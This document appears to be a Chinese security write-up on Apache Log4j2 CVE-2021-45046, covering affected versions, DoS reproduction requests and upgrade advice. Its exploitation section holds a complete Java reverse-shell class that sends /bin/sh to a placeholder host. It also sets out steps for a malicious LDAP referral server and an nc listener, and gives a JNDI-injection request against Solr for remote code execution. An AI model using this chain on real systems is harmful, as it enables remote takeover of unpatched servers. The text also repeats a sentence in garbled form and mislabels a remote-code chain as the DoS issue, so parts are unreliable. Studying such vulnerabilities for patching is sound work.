漏洞描述

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致 地控制日志的生成过程。该日志框架被大量用于业务系统 开发,用来记录日志信息 每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

20211216日,Apache Log4j2 组件存在拒绝服务漏洞的信息。漏洞编号:CVE-2021-45046,漏洞威胁等级:低危,漏洞评分:3.7

Apache Log4j 2.15.0 中针对 CVE-2021-44228 的修复在某些非默认配置中不完整。当日志配置使用非默认模式布局和上下文查找(例如,$${ctx:loginId})或线程上下文映射模式( %X%mdc %MDC)时,使用 JNDI 查找模式制作恶意输入数据,从而导致拒绝服务 (DOS) 攻击。
 
 

影响版本

2.0-beta9 <=Apache Log4j <=2.12.1
2.13.0<=Apache Log4j <=2.15.0
 
 

漏洞复现

请求GET

curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiversion}' Hello, world!%

${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m{nolookups}%n


POST请求

curl --location --request POST 'http://127.0.0.1:8080/addrecord'
--header 'Content-Type: application/json'

--data '{
"clientRef": "${ctx:clientRef}"
}'



注意显示无限循环的输出,但是在测试中没有发现这个 DOS 是资源消耗,因为这个无限循环被程序和错误识别出来:

${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)

at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)


利用

参考fastjson漏洞利用,利用恶意ldap服务器进行jndi注入,加载远程恶意类,造成任意代码执行

恶意类
这里先写一个恶意类 Exploit.java,并编译为class文件

import java.io.IOException;
import java.io.InputStream;

import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
  public Exploit() throws Exception {
    String host="x.x.x.x";  //修改为反弹服务器
    int port=x;  // 修改为反连端口
    String cmd="/bin/sh";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
      while(pi.available()>0)
        so.write(pi.read());
      while(pe.available()>0)
        so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      }
      catch (Exception e){
      }
    };
    p.destroy();
    s.close();
  }
}



直接使用python启动服务

python -m SimpleHTTPServer 80  //xxxweb端口


启动恶意ldap服务器
之前复现fastjson的直接拿过来用

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxxldap端口


nc 监听反连端口

nc -lvvp x //x 为恶意类指定的反连端口


触发漏洞
发送请求

GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1
Host: 192.168.64.128:8983

X-Requested-With: XMLHttpRequest
Referer: http://192.168.64.128:8983/solr/
Cookie: JSESSIONID=066F1A7579CF0FC0C94C097160C692F6
Connection: close



查看ldap服务器响应


查看web服务响应



查看nc监听,可以看到拿到shell


 
 

修复建议

临时修复建议

Log4j 1.x 缓解:Log4j 1.x 不受此漏洞影响。
Log4j 2.x 缓解:实施以下缓解技术。
从类路径中删除 JndiLookup 类文件:
zip -q-dlog4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
请注意,只有 log4j-core JAR 文件受此漏洞影响。仅使用 log4j-api JAR 文件而不使用 log4j-core JAR 文件的应用程序不受此漏洞的影响。
 

官方修复建议

官方已发布安全版本,请及时下载更新,下载地址:
https://github.com/apache/logging-log4j2/tags

注:Java8 的用户需要升级到 Apache Log4j 2.16.0版本。Java 7 的用户需要升级到Apache Log4j 2.12.2版本

对于java8版本用户,升级到版本 2.16.0

https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0

https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0

对于java7版本用户,升级到最新版本 2.12.2

https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.12.2

https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.12.2

与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。